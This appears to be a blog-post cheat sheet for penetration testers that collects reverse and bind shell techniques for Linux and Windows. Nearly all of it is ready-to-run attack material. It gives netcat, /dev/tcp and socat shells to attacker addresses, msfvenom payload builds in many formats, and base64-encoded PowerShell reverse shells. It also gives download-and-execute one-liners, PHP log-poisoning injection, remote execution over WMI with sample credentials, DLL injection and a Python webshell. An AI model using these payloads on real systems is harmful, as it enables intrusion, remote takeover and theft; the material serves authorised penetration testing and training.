Important notes
- Don’t try to overwrite uploaded reverse shell files. Use new names instead.
- If the process is killed and you need an asynchron system.run[“at now < /tmp/foo.sh”]
- Wenn exploiting a local file inclusion vulnerability, it can be better to inject code which loads the actual exploit code insteadt of injecting the exploit code directly.
- For HTTP, use the following:
?page=<?php echo system($_GET['cmd']); ?>
orUser-Agent: Mozilla <?php echo system($_GET['cmd']); ?> - Then use the cmd parameter to inject the actual code.
GET /index.php?page=/var/log/apache2/access.log&cmd=%2Fbin%2Fbash%20...
- For HTTP, use the following:
Linux
nc
On the own system:
[rlwrap] nc -lnvp 9998 [l=listen,v=verbose,p=port,n=no_resolution]
On the target:
nc -e /bin/sh 10.0.3.4 4444
Alternative:
mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc $attacker 4444 1>/tmp/backpipe
Alternative:
/bin/bash -c 'bash -i >& /dev/tcp/$attacker/4444 0>&1'
If nc doesn’t seem on the system: Try a Perl reverse shell!
Bind shell
On the target, where the shell should be bound.
nc -lnvp 9998 -e /bin/bash
On the local attack system:
nc $target 9998
Socat
With TLS
Create a certificate before:
openssl req -newkey rsa:4096 -nodes -keyout bind_shell.key -x509 -days 42 -out bind_shell.crt
cat bind_shell.key bind_shell.crt > bind_shell.pem
On the own system, start a listener:
socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
On the (windows) target, poen it:
socat.exe - OPENSSL:$attackerip,verify=0
Without TLS
Connect to another server:
socat - TCP4:$target:4444
Open a listener:
socat TCP4-LISTEN:4444 STDOUT
Transfer a file
socat TCP4-Listen:443,fork file:f.txt // on the target
socat TCP4:$target file:f.txt,create // on the local system
Reverse shell
socat -d -d TCP4-LISTEN:443 STDOUT
socat TCP4:10.11.0.22:443 EXEC:/bin/bash
Metasploit payloads
Normal reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$attackerip LPORT=443 -f elf > s32.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=$attackerip LPORT=443 -f elf > s64.elf
Meterpreter reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$attackerip LPORT=443 -f elf > mps32.elf msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$attackerip LPORT=443 -f elf > mps64.elf
Normal shell for various languages
Perl reverse shell
msfvenom -p cmd/unix/reverse_perl LHOST=$attackerip LPORT=443 -f raw
Python reverse shell
msfvenom -p cmd/unix/reverse_python LHOST=$attackerip LPORT=443 -f raw
PHP reverse shell
msfvenom -p php/reverse_php LHOST=$attackerip LPORT=443 -f raw
PHP meterpreter (Should this not work because a shell in meterpreter won’t work, use nc to export the bash to a local nc listener.)
msfvenom -p php/meterpreter/reverse_tcp LHOST=$attackerip LPORT=443 -f raw
ASP-Reverse-Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$attackerip LPORT=443 -f asp > s.asp
Tomcat/WAR reverse shell
msfvenom ‑p java/jsp_shell_reverse_tcp LHOST=$attackerip LPORT=443 ‑f war > shell.war PowerShell reverse shell
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$attackerip LPORT=443 -f psh --out reverse_shell.ps1
(If this doesn’t work, use the make_reverse_powershell.py script or the original from here.)
JSP reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$attackerip LPORT=443 -f raw > rs.jsp
JAR reverse shell
msfvenom -p java/meterpreter/reverse_tcp LHOST=$attackerip LPORT=443 -f raw -o rs.jar
NodeJS reverse shell
msfvenom -p nodejs/shell_reverse_tcp LHOST=$attackerip LPORT=443 -f raw -o rs.js
*BSD
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=$attackerip LPORT=3333 elf > mps64.elf msfvenom -p cmd/unix/reverse_openssl LHOST=$attackerip LPORT=3333
Windows
nc
On the own system: Start listener, see above. Then, on the target:
nc.exe -e cmd.exe $attacker 4444
Reverse shell
Start a shell listener on the target (upload nc.exe before):
nc -dLp 4444 -e cmd.exe
Connect from the own system as usual or in Metasploit:
use multi/handler
set LPORT 4444
set RHOST $target
set PAYLOAD payload/windows/x64/shell_bind_tcp
run
PowerShell reverse shell, Option 1
Or: Use this reserve shell, made in PowerShell (pwsh command in Linux):
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
Convert it and put it e.g. in a parameter on a WIndows system. To encode into base64:
PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text) PS> $EncodedText =[Convert]::ToBase64String($Bytes)
Note that in this case you have to use the powershell command with the ‑enc parameter! Example:
curl .../index.php?cmd=powershell%20-enc%20$base64here
PowerShell reverse shell, Option 2
Take directly this Python script:
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.1.1",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
Change IP and port and execute it to get a encoded command line to execute a reverse shell.
PowerShell reverse shell via WMI Windows Management Interface
The WMI Windows Management Interface enables remote access to Windows Systems via port 135. It is used by the wmic utilty (which is deprecated now).
Execute the following PowerShell code, use as command e.g. a PowerShell reverse command from the previous sections:
$username = 'Peter';
$password = 'Summer2002!';
$command = '...';
$target = '192.168.23.4';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName $target -Credential $credential -SessionOption $Options
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
PowerShell shell via PowerShell Remoting
This does not need a listener — it directly opens a shell on another system.
Adapt and execute this with proper parameters:
$username = 'Peter'; $password = 'Summer2002!'; $target = '192.168.23.4'; $secureString = ConvertTo-SecureString $password -AsPlaintext -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $secureString; New-PSSession -ComputerName $target -Credential $credential
Then, change to the session which was display, here 1:
Enter-PSSession 1
Socat
Create the certificate first, see above. Then, listen on Windows:
socat.exe OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:'cmd.exe',pipes
Open from Linux:
socat - OPENSSL:$attackerid:443,verify=0
Powercat
Use Powercat to listen on a Windows host and create a base64-encoded PowerShell payload which can be executed on the Windows host without additional software.
- Create on the own Windows system reverse shell code (or in pwsh on Kali):
PS> . .\powercat.ps1
PS> powercat -c $attackerip -p 443 -e cmd.exe -ge > b64shell.ps1 - Start normal nc listener.
- On the target, execute the shellcode via copy&paste:
powershell.exe -E ZgB1AG4AYwB0AGkAb…
Shorter approach:
powershell -c IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.11.11:8000/powercat.ps1');powercat -c 192.168.12.12 -p 1111 -e powershell
Visual Basic
VBS / For very old IIS web servers:
Dim objShell:Set objShell = WScript.CreateObject("WScript.Shell"):objShell.Run "cmd /K certutil.exe -urlcache -split -f http://IP/nc.exe C:\users\administrator\Desktop\nc.exe & nc.exe -e cmd.exe IP Port":Set objShell = Nothing
PowerShell
- Download Invoke-PowerShellTcp.ps1
- Add at the bottom a line for direct invocation:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 443 - Serve this file via HTTP.
- Open nc handler
- Download and execute the string directly:
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.12/Invoke-PowerShellTcp.ps1')
Metasploit payloads
Bind shell
Start nc listener on the own system. On the target connect with the following executeable:
msfvenom -p windows/shell_reverse_tcp LHOST=$attackerip LPORT=443 -f exe > root.exe
Normal reverse shell
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=$attackerip LPORT=443 -f exe -o s32.exe msfvenom -a x64 --platform windows -p windows/x64/shell/reverse_tcp LHOST=$attackerip LPORT=443 -f exe -o s64.exe
Meterpreter reverse shell
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=$attackerip LPORT=443 -f exe -o mps32.exe msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=$attackerip LPORT=443 -f exe -o mps64.exe
DLL meterpreter reverse shell
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=$attackerip LPORT=443 -f dll -o mps32.dll msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=$attackerip LPORT=443 -f dll -o mps64.dll
Method 1: Injecting the DLL into an existing process:
- Upload the DLL
- Upload RemoveDLLInjector32.exe or RemoteDLLInjector64.exe
- Inject the payload in an existing process:
RemoveDLLInjector64.exe $pid $full_dll_file_path
Keep in mind: If you replace a custom-made DLL, then it could be that the app crashes shortly after the first reverse shell because the app tried to call a function in your DLL which is not there.
Method 2: Loading the DLL standalone
- Upload the DLL
- Execute on the target
C:\Windows\System32\rundll32.exe C:\...\payload.dll
HTA reverse shell
msf> use exploit/windows/misc/hta_server
msf> ... run
You get an URL with a HTA payload. On the target, just execute
mshta.exe $attacker_paylaod
More options => https://book.hacktricks.xyz/shells/shells/windows
Webshell
If you can execute commands via an injection in an URL, use this Python script (from Alexander):
import requests
import readline
import urllib.parse
url = "http://10.10.10.218/weather/forecast/index.php?city="
msg = "London');{}--"
def aggressive_url_encode(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
while True:
#exploit = "os.execute('{}');".format(input("$ ").strip())
exploit = "print('\n'..io.popen('{} 2>&1'):read('*a'));".format(input("$ ").strip().replace("'", "\'").replace('"','\"'))
query = url+aggressive_url_encode(msg.format(exploit))
print(query)
print(requests.get(query).text)
Leave a Reply
You must be logged in to post a comment.